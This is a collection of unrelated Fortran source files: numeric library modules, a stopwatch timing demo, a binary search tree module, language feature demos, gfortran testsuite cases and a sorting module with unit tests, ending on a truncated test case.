    !   Read/write procedures
    !============================================
    subroutine read_state(this,form,unit,ioerr)

          class(VCS_t),       intent(in) :: this
          character(len=*),   intent(in) :: form
          integer(I32P),      intent(in) :: unit
          integer(I32P),      intent(inout) :: ioerr
          ! Start of executable statements
          select case(adjustl(trim(form)))
          case ("*")
              READ(unit,*,iostat=ioerr) this
          case default
              READ(unit,adjustl(trim(form)),iostat=ioerr) this
          end select
    end subroutine read_state

    subroutine write_state(this,form,unit,ioerr)

          class(VCS_t),       intent(in) :: this
          character(len=*),   intent(in) :: form
          integer(I32P),      intent(in) :: unit
          integer(I32P),      intent(inout) :: ioerr
          ! Start of executable statements
          select case(adjustl(trim(form)))
          case ("*")
              WRITE(unit,*,iostat=ioerr) this
          case default
              WRITE(unit,adjustl(trim(form)),iostat=ioerr) this
          end select
    end subroutine  write_state

    subroutine dbg_info(this)
          class(VCS_t),  intent(in) :: this
          ! Start of executable ststements
          print*, "==========================================="
          print*, "     *** Dump of VCS_t object state ***    "
          print*, "==========================================="
          print*, "Collected at: ", __DATE__,":", __TIME__, &
                  "in file: ", __FILE__, "at line: ", __LINE__
          print*, "n_size:          ", this%m_nsize
          print*, "m_Azimuth:       ", this%m_Azimuth
          print*, "m_Range:         ", this%m_Range
          print*, "m_MaxV:          ", this%m_MaxV
          print*, "m_HMax:          ", this%m_HMaxV
          print*, "m_MinV:          ", this%m_MinV
          print*, "m_HMinV:         ", this%m_HMinV
          print*, "==========================================="
    end subroutine dbg_info

    !====================================
    !  operator assignment (=)
    !====================================
    subroutine copy_assign(lhs,rhs)
          class(VCS_t),  intent(inout) :: lhs
          class(VCS_t),  intent(in)    :: rhs
          ! Start of executable statemetns
          lhs%m_nsize   = rhs%m_nsize
          lhs%m_Azimuth = rhs%m_Azimuth
          lhs%m_Range   = rhs%m_Range
          lhs%m_MaxV    = rhs%m_MaxV
          lhs%m_HMaxV   = rhs%m_HMaxV
          lhs%m_MinV    = rhs%m_MinV
          lhs%m_HMinV   = rhs%m_HMinV
    end subroutine copy_assign

end module mod_wsr88d_vcs


       ! program demo_M_stopwatch and modules
       ! The following times are measured:
       !
       !  o each phase each time through the loop
       !  o total time for each phase
       !  o the total time
       !
       !  There will be printed output that should not be included in the
       !  measured time.
       !
       module globals
       use M_stopwatch
       implicit none
       private
       public :: watchgroup
       public :: setup_watches

       ! the group with all the watches; global var
       type (watchgroup), public :: ALL_GROUPS

       type (watchtype), public, dimension(5) :: w
       ! The watches are: w(1) time for phase 1 this time through the loop
       !                  w(2) time for phase 2 this time through the loop
       !                  w(3) total time for phase 1
       !                  w(4) total time for phase 2
       !                  w(5) total time
       ! The watch groups are: GROUPS_FOR_ONE phase 1 times w(1) and w(3)
       !                       GROUPS_FOR_TWO phase 2 times w(2) and w(4)
       !                       ALL_GROUPS all of them (declared in module globals)
       type (watchgroup), public :: GROUPS_FOR_ONE, GROUPS_FOR_TWO
       contains
       subroutine setup_watches

          ! Measure only cpu and wall time
          call option_stopwatch(default_clock=(/"cpu ","wall"/))
          call create_watch(w,name=(/ "phase 1      ", &      ! create the watches
                                      "phase 2      ", &
                                      "total phase 1", &
                                      "total phase 2", &
                                      "Total        " /) )
          call create_watchgroup(w(1),GROUPS_FOR_ONE)         ! create the groups
          call join_watchgroup(w(3),GROUPS_FOR_ONE)
          call create_watchgroup(w(2:4:2),GROUPS_FOR_TWO)     ! a shorter way
          call create_watchgroup(w,ALL_GROUPS)
          call start_watch(w(5))                              ! start the total time

       end subroutine setup_watches

       end module globals

       module workers
       implicit none
       ! The routines being measured
       public :: subone
       contains

       subroutine subone(n,c) ! just to give us something to time.
       use M_stopwatch
       use globals
       integer, intent(in) :: n
       real, intent(out)   :: c
       integer :: i
       real :: a=2.0,b
       b=real(n)
       do i=1,n
          c=a*b
       end do

       call pause_watch(ALL_GROUPS)
       write(unit=*,fmt=*) "Performed ",n," multiplications"
       call end_pause_watch(ALL_GROUPS)

       end subroutine subone

       end module workers

       program demo_M_stopwatch
       use M_stopwatch
       use globals
       use workers
       implicit none

       integer :: i, nmult                ! loop counter, number of multiplies to do
       logical :: cpu_is_there            ! flag for cpu clock
       real    :: zz

       call setup_watches()

       nmult = 200000
       do i=1,3
          write(*,'(a)')repeat('=',70)
          write(*,*)'LOOP',i,':'
          ! reset the watches that measure the time for this loop
          call reset_watch(w(1:2))
          ! start the phase 1 watches, do phase 1, and stop the phase 1 watches
          call start_watch(GROUPS_FOR_ONE)
          nmult = 5*nmult
          call subone(nmult,zz)
          call stop_watch(GROUPS_FOR_ONE)

          call start_watch(GROUPS_FOR_TWO)       ! same for phase 2
          nmult = 2*nmult
          call subone(nmult,zz)
          call stop_watch(GROUPS_FOR_TWO)

       ! pause the cpu clock of the total time watch while printing the current times,
       ! if the cpu clock is available on this implementation, but leave the wall
       ! clock running.  The call to inquiry_stopwatch should be outside the loop, but
       ! this should make a clearer illustration.

          call inquiry_stopwatch(cpu_avail=cpu_is_there)
          if (cpu_is_there) then
             call pause_watch(w(5),"cpu")
          end if

          write(*,'(a)')repeat('-',70)
          call print_watch(w(1:2),title="Times for this loop")
          write(*,'(a)')repeat('-',70)
          call print_watch(w(3:4),title="Total times so far")

          if (cpu_is_there) then
             call end_pause_watch(w(5),"cpu")
          end if

       end do

       write(*,'(a)')repeat('=',70)
       ! print the total times
       call print_watch([w(3),w(4),w(5)],title="Final total times")

       write(unit=*,fmt=*)&
       &"Note: the difference between the sum of the first two wall clocks"
       write(unit=*,fmt=*)&
       &"      and the Total wall clock is due to not pausing the wall clock"
       write(unit=*,fmt=*)&
       &"      on the Total watch while printing."

       call destroy_watch(w)                ! destroy the watches
       end program demo_M_stopwatch


module bst_ref_mod
    implicit none

    type :: a_bst_ref
        type(a_bst_node), pointer :: ref => null()
    end type a_bst_ref

    type :: a_bst_node
        integer         :: val
        type(a_bst_ref) :: left
        type(a_bst_ref) :: right
    end type a_bst_node

contains

    subroutine bst_init(tree)
        type(a_bst_ref), intent(inout) :: tree

        tree%ref => null()
    end subroutine bst_init

    logical function bst_is_empty(tree)
        type(a_bst_ref), intent(inout) :: tree

        bst_is_empty = .not.associated(tree%ref)
    end function bst_is_empty

    ! Search the tree starting from the `tree` node for a given value `v` and
    ! return a pointer to the node referennnce with this value.
    recursive function bst_search(tree, val) result(found)
        type(a_bst_ref), pointer            :: found
        type(a_bst_ref), target, intent(in) :: tree
        integer,                 intent(in) :: val

        if (.not.associated(tree%ref)) then
            found => tree
        else if (val < tree%ref%val) then
            found => bst_search(tree%ref%left, val)
        else if (val > tree%ref%val) then
            found => bst_search(tree%ref%right, val)
        else ! (val == tree%ref%val)
            found => tree
        end if
    end function bst_search

    ! Insert using bst_search().
    subroutine bst_insert(tree, val)
        type(a_bst_ref), intent(inout) :: tree
        integer,         intent(in)    :: val

        type(a_bst_ref), pointer :: temp
        temp => bst_search(tree, val)
        if (.not.associated(temp%ref)) then
            allocate(temp%ref)
            temp%ref%val       =  val
            temp%ref%left%ref  => null()
            temp%ref%right%ref => null()
        else
            continue ! do nothing if the node exists
        end if
        return
    end subroutine bst_insert

    recursive subroutine bst_destroy(tree)
        type(a_bst_ref), intent(inout) :: tree

        if (associated(tree%ref)) then
            call bst_destroy(tree%ref%left)
            call bst_destroy(tree%ref%right)
            deallocate(tree%ref)
        end if
        return
    end subroutine bst_destroy

    ! This is an in-order tree walk.
    recursive subroutine bst_print(tree)
        type(a_bst_ref), intent(in) :: tree

        if (associated(tree%ref)) then
            call bst_print(tree%ref%left)
            print "(i0)", tree%ref%val
            call bst_print(tree%ref%right)
        end if
        return
    end subroutine bst_print

    function bst_has(tree, val) result(has_it)
        logical                     :: has_it
        type(a_bst_ref), intent(in) :: tree
        integer,         intent(in) :: val

        type(a_bst_ref), pointer :: temp
        temp => bst_search(tree, val)
        has_it = associated(temp%ref)
        return
    end function bst_has

    ! Homework -----------------------------------------------------------------

    ! Homework: non-recursive version of `bst_search()`.
    function bst_search_nonrec(tree, val) result(current)
        type(a_bst_ref), pointer            :: current
        type(a_bst_ref), target, intent(in) :: tree
        integer,                 intent(in) :: val

        current => tree
        do
            if (.not.associated(current%ref)) exit ! is null()
            if (current%ref%val == val) then       ! found
                exit
            else if (val < current%ref%val) then
                current => current%ref%left
            else ! (current%ref%val <= val)
                current => current%ref%right
            end if
        end do
        return
    end function bst_search_nonrec

    ! Homework: non-recursive version of `bst_insert`.
    recursive subroutine bst_insert_nonrec(tree, val)
        type(a_bst_ref), target, intent(inout) :: tree
        integer,                 intent(in)    :: val
        type(a_bst_ref), pointer :: current

        current => tree
        do while (associated(current%ref))
            if (val < current%ref%val) then
                current => current%ref%left
            else
                current => current%ref%right
            end if
        end do
        allocate(current%ref)
        current%ref%val       =  val
        current%ref%left%ref  => null()
        current%ref%right%ref => null()
        return
    end subroutine bst_insert_nonrec

end module bst_ref_mod


C     This program tests the handling of line continuations in the preprocessor.
C     This file uses Fortran-77 continuation syntax.

      subroutine myadd(
     &     arg1,
     &     arg2,
     &     arg3)
      integer arg1, arg2, arg3

      arg3 = arg1 + arg2
      return
      end subroutine myadd

      program main

      implicit none
      integer x, y, z
      x
     &  =
     &     12

      y
     &  =
     &     13

      call
     &     myadd(
     &     x,
     &     y,
     & z)

      write (*,10) x, y, z
 10   format(3(X,I3))

      END program main


program Characters
    character(len=10)::ab
    character(len=70)::title,fname,lname
    character(len=50)::fullname
    character (80) :: text
    integer :: i
    character:: ch
    character:: a, b, c

    title="Mr. "
    fname="Satyam "
    lname="Tiwari"
    fullname=trim(title)//trim(fname)//trim(lname) !Concatenation operator
    print *,"Full Name : ",fullname

    !Testing Characters
   text = 'The intrinsic data type character stores characters and   strings.'
   i=index(text,'character')

   if (i /= 0) then
      print *, ' The word character found at position ',i
      print *, ' in text: ', text
   end if

   do i=1,len(text)
        a=text(i:i)
        print *,ab," : ",i
   end do

   do i = 65, 90
      ch = achar(i)
      print*, i, ' ', ch
   end do

   a = 'A'
   b = 'a'
   c = 'B'

   if(lgt(a,b)) then !using ascii 7-bit character set
      print *, 'A is lexically greater than a'
   else
      print *, 'a is lexically greater than A'
   end if

   if(lgt(a,c)) then
      print *, 'A is lexically greater than B'
   else
      print *, 'B is lexically greater than A'
   end if

   if(llt(a,b)) then
      print *, 'A is lexically less than a'
   end if

   if(llt(a,c)) then
      print *, 'A is lexically less than B'
   end if

end program


           program demo_d2j
           use M_time, only : d2j
           implicit none
           integer :: dat(8)
              call date_and_time(values=dat)
              write(*,'(" Today is:",*(i0:,":"))')dat
              write(*,*)'Julian Date is ',d2j(dat)
           end program demo_d2j


! { dg-do run }
! PR 25292: Check that the intrinsic associated works with functions returning
! pointers as arguments
program test
   real, pointer :: a, b

   nullify(a,b)
   if(associated(a,b).or.associated(a,a)) STOP 1
   allocate(a)
   if(associated(b,a)) STOP 2
   if (.not.associated(x(a))) STOP 3
   if (.not.associated(a, x(a))) STOP 4

   nullify(b)
   if (associated(x(b))) STOP 5
   allocate(b)
   if (associated(x(b), x(a))) STOP 6

contains

  function x(a) RESULT(b)
    real, pointer :: a,b
    b => a
  end function x

end program test


!
!!  Copyright (C) 1996 Ernst A. Meese
!!    Refer to the file copyright.doc for details and important disclaimer.
!
!!  Created: January 1996
!!  Development version
!
MODULE USR_SMlib_Precision
  !
  !!  This module is part of SMLIB v. 1.1.  It defines the real precision USEd
  !!  throughout the library.  Redefine prec in this file to change working
  !!  precision.
  !
  !! ------------------------------------------------------------------------
  !
  !!  Copyright (C) 1996 Ernst A. Meese
  !!    Refer to the file copyright.doc for details and important disclaimer.
  !
  !!  Created: January 1996
  !!  Development version
  !
  !! ------------------------------------------------------------------------
  !!  Module contents
  !
  !!   Parameters:
  !!      single_prec - Kind value for single precision.
  !!      double_prec - Kind value for double precision.
  !!      prec        - Working precision of SMLIB.
  !
  !! -----------------------------------------------------------------------
  !
  IMPLICIT NONE

  INTEGER, PARAMETER :: single_prec = KIND(1.0E0)
  INTEGER, PARAMETER :: double_prec = KIND(1.0D0)
  INTEGER, PARAMETER ::        prec = double_prec

END MODULE USR_SMlib_Precision


!!------------------------------------------------------------------------------------------------
!> @anchor    slam_types
!!
!> @brief     Definition of intrinsic types kind parameters
!> @author    Vitali Braun
!> @author    Christopher Kebschull
!! @version   1.0
!> @date

!!
 13.05.2013 (initial design)

!!
 02.09.2015 (Adapted to for libslam and added basic type)

!!

!!
!> @details   This module contains definitions of kind parameters for the intrinsic data types,
!!              as well as the basic_t type that can be used a polymorphic type.
!!
!> @copyright Institute of Space Systems / TU Braunschweig
!!
!!------------------------------------------------------------------------------------------------
module slam_types

    implicit none

  !** floats...
  integer, parameter :: dp = kind(1.d0)   ! double precision
  integer, parameter :: sp = kind(1.0)    ! single precision

  !** integer
  integer, parameter :: i8b = kind(1_8)   ! 8 bytes

end module slam_types


! PR fortran/40878
! { dg-do compile }
! { dg-options "-fopenmp" }

subroutine test1
  integer :: j, k
  integer, parameter :: m = 2
!$omp parallel do collapse(m) schedule (static,1)
  do k = 1, 2
    do j = 1, 6
    enddo
  enddo
!$omp end parallel do
end
subroutine test2
  integer :: j, k
!$omp parallel do collapse(2) schedule (static,1)
  do k = 1, 2
    do j = 1, 6
    enddo
  enddo
!$omp end parallel do
end


module m
implicit none
contains
subroutine print_sum(i,j,k)
integer, intent(in), optional :: i,j,k
integer                       :: sum_arg
character (len=*), parameter  :: fmt = "(a,1x,i0,1x)"
sum_arg = 0
if (present(i)) then
   write (*,fmt,advance="no") "i =",i
   sum_arg = sum_arg + i
end if
if (present(j)) then
   write (*,fmt,advance="no") "j =",j
   sum_arg = sum_arg + j
end if
if (present(k)) then
   write (*,fmt,advance="no") "k =",k
   sum_arg = sum_arg + k
end if
write (*,fmt) "sum is",sum_arg
end subroutine print_sum
end module m

program main ! demonstrate positional and named arguments
use m, only: print_sum
implicit none
call print_sum(2,3,4)       ! positional arguments
call print_sum(i=2,j=3,k=4) ! named arguments
call print_sum(k=4,j=3,i=2) ! can invoke named arguments in any order
call print_sum(2,3,k=4)     ! named arguments can follow positional ones
call print_sum(2,k=4)       ! need named argument to skip an argument
! call print_sum(j=3,4)
! invalid -- positional arguments cannot follow named ones
end program main
! output
! i = 2 j = 3 k = 4 sum is 9
! i = 2 j = 3 k = 4 sum is 9
! i = 2 j = 3 k = 4 sum is 9
! i = 2 j = 3 k = 4 sum is 9
! i = 2 k = 4 sum is 6


      program nga08

C     To address Nga concern about using useless float and string
C     constants when analyzing integer variables

      i = 1
      if(x.gt.1.5) then
         i = 2
      endif

      print *,i

      END


!! R505 initialization
!           is  = initialization-expr
!           or  => null-init
!           or => initial-data-target
!
! Tested separately are: R730 (initialization-expr) and R507 (null-init).
!
! initialization is tested as part of an entity-decl (R503) that is part of
! a type-declaration-stmt (R501).

integer :: a = 1
integer, pointer :: b => NULL()
integer, pointer :: aptr => a   !initial-data-target

end


module qsort_mod
    !!
    !! Module for sorting.
    !!
    !! Contains a generic interface
    !!   `sort(x, size(x))`
    !! which changes array `x` to be in sorted order.
    !!
    !! It also contains a generic interface
    !!   `sort_index(inds, x, size(x))`
    !! which puts integer indices in `inds` such that `x(inds)` is sorted. Here
    !! it is required that `size(inds) == size(x)`
    !!
    !! It also contains a generic match interface
    !!   `match(x1, x2, matches)`
    !! which puts indices in the integer array `matches` such that
    !!    `x1(i) == x2(matches(i))`
    !! , or else
    !!    `matches(i) == -1` .
    !!
    !! The routines work with `x` being `c_int`, `c_float`, `c_double`, or
    !! `character(len=*)`
    !!
    !! There is also an iso_c_binding interface to C's qsort (`qsort_C`), which
    !! allows sorting anything with a user-defined compare function. Originally
    !! the sorting routines were based on this, using locally defined compare
    !! functions (generally contained inside the subroutine that called `qsort_C`).
    !! However this approach was not supported with PGI the compiler, so was
    !! changed.
    !! Calling `qsort_C` is unusual by Fortran standards, because one needs to
    !! provide pointers. An example of using `qsort_C` is below.
    !!
    !!    subroutine sort_index_cint(inds, array, n)
    !!        ! Example of using qsort_C
    !!        ! The subroutine returns inds(n) such that array(inds) is sorted
    !!        use iso_c_binding
    !!        use qsort_mod, only : qsort_C ! From the current module
    !!        integer(c_int), intent(in) :: n
    !!        integer(c_int), intent(in) :: array(n)
    !!        integer(c_int), intent(inout), target :: inds(n)
    !!
    !!        integer(c_size_t) :: elem_count, elem_size ! kind MUST be c_size_t
    !!        integer(c_int) :: i
    !!
    !!        inds = (/ (i, i=1, n) /)
    !!
    !!        elem_count = int(n, c_size_t)
    !!        elem_size = int( storage_size(inds(1))/8, c_size_t)
    !!
    !!        ! Note how we have to call qsort_C here -- explicitly using pointers
    !!        call qsort_C(c_loc(inds(1)), elem_count, elem_size, c_funloc(compar3))
    !!
    !!        contains
    !!            ! Comparison function, uses 'array(n)' by host association
    !!            integer(c_int) function compar3(i1, i2) bind(C)
    !!                integer(c_int) :: i1, i2
    !!
    !!                if(array(i1) > array(i2)) compar3 = 1_c_int
    !!                if(array(i1) == array(i2)) compar3 = 0_c_int
    !!                if(array(i1) < array(i2)) compar3 = -1_c_int
    !!
    !!            end function
    !!
    !!    end subroutine
    !!
    !!
    use iso_c_binding

    implicit none

    private
    public :: sort, test_qsort_mod, sort_index, match, qsort_C

    interface

        subroutine qsort_C(array, elem_count, elem_size, compare) bind(C,name="qsort")
          !! Call qsort from C.
          !! This gave me trouble with PGI compiler when used with functions
          !! defined in contains blocks of other subroutines. It is useful as
          !! one can pass arbitrary types and "compare" functions to it.
          use iso_c_binding, only: c_ptr, c_size_t, c_funptr
          implicit none
          type(c_ptr), value       :: array
              !! When called this should be c_loc(array(1))
          integer(c_size_t), value :: elem_count
              !! When called this is int(size(array), c_size_t)
          integer(c_size_t), value :: elem_size
              !! When called this is int(storage_size(array(1))/8, c_size_t)
          type(c_funptr), value    :: compare
              !! When called this should be c_funloc(comparison_function) where
              !! comparison_function(array(i), array(j)) will return
              !! -1_c_int, 0_c_int, or 1_c_int, if array(i) is less than, equal,
              !! or greater than array(j) respectively.
        end subroutine qsort_C !standard C library qsort

    end interface

    ! Simple 'sort', e.g. sort(x, size(x))
    interface sort
        module procedure sort_cint, sort_cfloat, sort_cdouble, sort_character
    end interface

    ! Return indices in 'sorted' order, e.g. sort_index(inds, x, size(x))
    interface sort_index
        module procedure sort_index_cint, sort_index_cfloat, sort_index_cdouble, sort_index_character
    end interface

    interface match
        module procedure match_cint, match_cfloat, match_cdouble, match_string
    end interface

    contains

    !
    ! Sort for c_int
    !

    subroutine sort_cint(array, n)
        integer, intent(in) :: n
        integer(c_int), intent(inout) :: array(n)

        integer(c_int), allocatable :: inds(:)

        allocate(inds(n))
        call sort_index_cint(inds, array, n)
        array = array(inds)
        deallocate(inds)

    end subroutine

    !
    ! Sort for c_float
    !
    subroutine sort_cfloat(array, n)
        integer, intent(in) :: n
        real(c_float), intent(inout) :: array(n)

        integer(c_int), allocatable :: inds(:)

        allocate(inds(n))
        call sort_index_cfloat(inds, array, n)
        array = array(inds)
        deallocate(inds)

    end subroutine

    !
    ! Sort for c_double
    !
    subroutine sort_cdouble(array, n)
        integer, intent(in) :: n
        real(c_double), intent(inout) :: array(n)

        integer(c_int), allocatable :: inds(:)

        allocate(inds(n))
        call sort_index_cdouble(inds, array, n)
        array = array(inds)
        deallocate(inds)

    end subroutine

    ! For sort character, we use 'sort_index' to work around the complexity of passing fortran strings to C
    subroutine sort_character(array, n)
        integer, intent(in) :: n
        character(len=*), intent(inout) :: array(n)

        integer(c_int), allocatable :: inds(:)

        allocate(inds(n))
        call sort_index_character(inds, array, n)
        array = array(inds)
        deallocate(inds)

    end subroutine

    subroutine sort_index_character(inds, array, n)
#define SORT_INDEX_TYPE character(len=*)
#define SORT_INDEX_TYPE2 character(len=len(array))
#include "sort_index_template2.f90"
#undef SORT_INDEX_TYPE
#undef SORT_INDEX_TYPE2

    end subroutine

    !
    ! Index sort of c_int
    !
    subroutine sort_index_cint(inds, array, n)
#define SORT_INDEX_TYPE integer(c_int)
#define SORT_INDEX_TYPE2 integer(c_int)
#include "sort_index_template2.f90"
#undef SORT_INDEX_TYPE2
#undef SORT_INDEX_TYPE

    end subroutine

    !
    ! Index sort of c_float
    !
    subroutine sort_index_cfloat(inds, array, n)
#define SORT_INDEX_TYPE real(c_float)
#define SORT_INDEX_TYPE2 real(c_float)
#include "sort_index_template2.f90"
#undef SORT_INDEX_TYPE2
#undef SORT_INDEX_TYPE

    end subroutine

    !
    ! Index sort of c_double
    !
    subroutine sort_index_cdouble(inds, array, n)
#define SORT_INDEX_TYPE real(c_double)
#define SORT_INDEX_TYPE2 real(c_double)
#include "sort_index_template2.f90"
#undef SORT_INDEX_TYPE2
#undef SORT_INDEX_TYPE

    end subroutine

    !
    ! Emulate R's 'match' routine for c_int.
    !
    ! This implementation avoids an O(n*n) search by sorting both arrays first.
    !
    ! @param array1 array with values that we try to find in array2
    ! @param array2 array where we try to find matches from array1
    ! @param matches output array giving, for each array1 entry, the index of a
    !     matching entry in array2, (or else -1 for no match)
    !
    subroutine match_cint(array1, array2, matches)
        integer(c_int), intent(in) :: array1(:), array2(:)
        integer(c_int), intent(inout) :: matches(:)

        integer(c_int), allocatable :: inds1(:), inds2(:)
        integer(c_int) :: n, i, i2

#include "qsort_match_include.inc"

    end subroutine

    subroutine match_cfloat(array1, array2, matches)
        real(c_float), intent(in) :: array1(:), array2(:)
        integer(c_int), intent(inout) :: matches(:)

        integer(c_int), allocatable :: inds1(:), inds2(:)
        integer(c_int) :: n, i, i2

#include "qsort_match_include.inc"

    end subroutine

    subroutine match_cdouble(array1, array2, matches)
        real(c_double), intent(in) :: array1(:), array2(:)
        integer(c_int), intent(inout) :: matches(:)

        integer(c_int), allocatable :: inds1(:), inds2(:)
        integer(c_int) :: n, i, i2

#include "qsort_match_include.inc"

    end subroutine

    subroutine match_string(array1, array2, matches)
        character(len=*), intent(in) :: array1(:), array2(:)
        integer(c_int), intent(inout) :: matches(:)
        integer(c_int), allocatable :: inds1(:), inds2(:)
        integer(c_int) :: n, i, i2

#include "qsort_match_include.inc"

    end subroutine

    function test_integer_compare(i1ptr, i2ptr) result(sgn) bind(C)
        ! This is only used for testing of qsort_C
        type(c_ptr), value, intent(in) :: i1ptr, i2ptr
        integer, pointer :: i1, i2
        integer(c_int) :: sgn

        call c_f_pointer(i1ptr, i1)
        call c_f_pointer(i2ptr, i2)

        if(i1 < i2) sgn = -1_c_int
        if(i1 == i2) sgn = 0_c_int
        if(i1 > i2) sgn = 1_c_int
    end function

    subroutine test_qsort_C
        ! A unit-test for qsort_C -- called in test_qsort_mod below.
        integer, target :: array(5)

        ! To be sorted
        array = [4, 3, 5, 1, 2]

        ! In-place sort of the array
        call qsort_C( &
            c_loc(array(1)), & ! Need to pass the c
            size(array, kind=c_size_t), &
            c_sizeof(array(1)), &
            c_funloc(test_integer_compare) )
        ! The above is relatively complex.
        ! Can we make make an interface such that
        !    call qsort(array, array_element_compare)
        ! works for arrays of every type,

        if(all(array == [1, 2, 3, 4, 5])) then
            print*, 'PASS'
        else
            print*, 'FAIL'
        end if

    end subroutine

    !
    ! Unit test
    !
    subroutine test_qsort_mod()

        integer(c_int) :: x(10), sorted_x(10), n, i, index_order_x(10), inds(10)
        real(c_float) :: y(10)
        real(c_double) :: z(10)
        integer(c_int), allocatable :: rns_inds(:), match1(:), match2(:), matches(:)
        real(c_float), allocatable :: rns(:), rns2(:)
        real(c_double), allocatable :: rns_d(:), rns2_d(:)
        integer(c_int), allocatable :: rns_int(:), rns2_int(:)
        character(len=12) :: cx(10), cx_sorted(10), cx_match(4)
        integer(c_int) :: cx_matches(10), counter
        logical :: failed

        ! Sort of a string
        x = [1, 3, 2, 5, 4, 7, 6, 9, 8, 1]

        cx = ['asdf', 'fffd', 'reec', 'adfa', 'wert', 'asfa', 'ddhd', 'dghd', 'rtyu', 'rurt']
        cx_sorted = cx
        call sort(cx_sorted, 10)
        call sort_index(x, cx, 10)
        if(all(cx(x) == cx_sorted)) then
            print*, 'PASS'
        else
            print*, 'FAIL'
        end if

        ! Sort of an integer
        x = [1, 3, 2, 5, 4, 7, 6, 9, 8, 1]

        sorted_x = [1, 1, 2, 3, 4, 5, 6, 7, 8, 9]
        index_order_x = [1, 10, 3, 2, 5, 4, 7, 6, 9, 8]

        ! Use these variables later
        y = x * 2.0
        z = x * 3.0d0

        call sort_index(inds, x, 10)
        if(all(x(inds) - x(index_order_x) == 0)) then
            print*, 'PASS'
        else
            print*, 'FAIL'
        endif

        call sort(x, 10)

        if( maxval(abs(x - sorted_x)) == 0) then
            print*, 'PASS'
        else
            print*, 'FAIL'
        endif

        ! Sort of c_float
        call sort_index(inds, y, 10)
        if(all(y(inds) - y(index_order_x) == 0)) then
            print*, 'PASS'
        else
            print*, 'FAIL'
        endif

        call sort(y, 10)

        if( maxval(abs(y - sorted_x*2.0)) == 0) then
            print*, 'PASS'
        else
            print*, 'FAIL'
        endif

        ! Sort of c_double
        call sort_index(inds, z, 10)
        if(all(z(inds) - z(index_order_x) == 0)) then
            print*, 'PASS'
        else
            print*, 'FAIL'
        endif

        call sort(z, size(z))

        if( maxval(abs(z - sorted_x*3.0)) == 0) then
            print*, 'PASS'
        else
            print*, 'FAIL'
        endif

        ! Check we can apply sort to a constant array, e.g. [2,2,2,2,2 ... ]
        x(1:10) = 2
        call sort(x, size(x))
        if(all(x == 2)) then
            print*, 'PASS'
        else
            print*, 'FAIL'
        end if

        ! Check we can apply sort_index to a constant array, e.g. [2,2,2,2,2 ... ]
        call sort_index(inds, x, size(x))
        ! Test that all numbers from 1-10 appeared
        counter=0
        do i = 1, size(x)
            if(any(inds == i)) counter=counter+1
        end do
        if(counter == size(x)) then
            print*, 'PASS'
        else
            print*, 'FAIL'
        end if

        !
        ! Sort a large random vector
        !
        call random_seed() ! This is deterministic
        n = 100000
        allocate(rns(n), rns2(n), rns_inds(n))
        call random_number(rns)

        ! Copy
        rns2 = rns
        call sort_index(rns_inds, rns, n)
        call sort(rns, size(rns))

        failed = .FALSE.
        do i = 1, (n-1)
            if(rns(i) > rns(i+1)) then
                failed = .TRUE.
                exit
            endif
        end do

        if(failed) then
            print*, 'FAIL'
        else
            print*, 'PASS'
        end if

        if(any(rns /= rns2(rns_inds))) then
            print*, 'FAIL'
        else
            print*, 'PASS'
        endif

        !
        ! Test 'match' (simple case)
        !
        match1 = [1, -1, 1, 3, 5, 8, 9, 11, 0, 0]
        match2 = [1, 1, -2, 5, 90, 0]
        allocate(matches(size(match1)))
        matches = 0 * match1

        call match_cint(match1, match2, matches)
        if(all(matches == [1, -1, 1, -1, 4, -1, -1, -1, 6, 6])) then
            print*, 'PASS'
        else
            print*, 'FAIL'
        end if

        !
        ! Large scale test of 'match'
        !
        ! Make a large random vector. Then sort it and match with the original. Then
        ! compare the match against the results from sort_index, which clearly should
        ! be the same
        !
        call random_seed() ! This is deterministic
        n = 1000
        deallocate(rns, rns2, rns_inds, matches)
        allocate(rns(n), rns2(n), rns_inds(n), matches(n))
        call random_number(rns)

        ! Copy
        rns2 = rns

        ! test using c_int inputs
        allocate(rns_int(n), rns2_int(n))
        rns_int = int(rns * 1e+08, c_int)
        rns2_int = int(rns2 * 1e+08, c_int)

        call sort_index(rns_inds, rns_int, n)
        call sort(rns_int, size(rns_int))

        ! This 'match' should be equivalent to getting the sorted indices
        call match(rns_int, rns2_int, matches)
        if(all(rns2_int(matches) == rns_int)) then
            print*, "PASS"
        else
            print*, 'FAIL'
        end if

        ! test as above, using c_float inputs
        call sort_index(rns_inds, rns, n)
        call sort(rns, size(rns))

        ! This 'match' should be equivalent to getting the sorted indices
        call match(rns, rns2, matches)
        if(all(rns2(matches) == rns)) then
            print*, "PASS"
        else
            print*, 'FAIL'
        end if

        ! test as above, using c_double inputs
        allocate(rns_d(n), rns2_d(n))
        call random_number(rns_d)
        rns2_d = rns_d
        call sort_index(rns_inds, rns_d, n)
        call sort(rns_d, size(rns_d))

        ! This 'match' should be equivalent to getting the sorted indices
        call match(rns_d, rns2_d, matches)
        if(all(rns2_d(matches) == rns_d)) then
            print*, "PASS"
        else
            print*, 'FAIL'
        end if

        ! test as above, using character inputs
        cx_match(1:3) = ['fffd', 'asdf', 'rtyu']
        cx_match(4) = 'asdfasdfaf'
        call match(cx, cx_match, cx_matches)
        if(all(cx_matches == [ 2, 1, -1, -1, -1, -1, -1, -1, 3, -1])) then
            print*, 'PASS'
        else
            print*, 'FAIL'
        endif

        cx_matches = -1
        call match(cx_match, cx, cx_matches(1:4))
        if(all(cx_matches(1:4) == [ 2, 1, 9, -1])) then
            print*, 'PASS'
        else
            print*, 'FAIL'
        endif

        call test_qsort_C

    end subroutine
end module


! chk_exit_if.f90 --
!     Check if the compiler supports exiting any named construct
!
program chk_exit_if
    implicit none

    real :: value

    write( *, '(a)' ) 'Can we exit an IF-block?'

    call random_number( value )

ifblock: &
    if ( value >= 0.0 ) then
        if ( value <= 1.0 ) then
            value = -1.0
            exit ifblock
            write( *, '(a)' ) '    Apparently the EXIT did not work!'
            value = 1.0
        else
            write( *, '(a)' ) '    This is unexpected - random value > 1?'
        endif
    endif &
ifblock

    if ( value == -1.0 ) then
        write( *, '(a)' ) '    Skipping over the rest of the IF-block possible without GOTO'
    endif

end program chk_exit_if


program main
  implicit none
  !complex

  ! real f ! Fortran 77

  interface
    real function f(a)
      real a
    end function
  end interface

  print *, f(.false.)
end program


module example
  real(8), allocatable :: A(:)

  contains
    subroutine initialize(N)
      integer :: N

      allocate(A(N))
      !$omp target enter data map(alloc:A)

    end subroutine initialize

    subroutine finalize()

      !$omp target exit data map(delete:A)
      deallocate(A)

    end subroutine finalize
end module example


! { dg-do compile }
! PR27634 Missing period in format specifier. Test case derived from case given
! in PR.  Submitted by Jerry DeLisle  <jvdelisle@gcc.gnu.org>
      real      aval
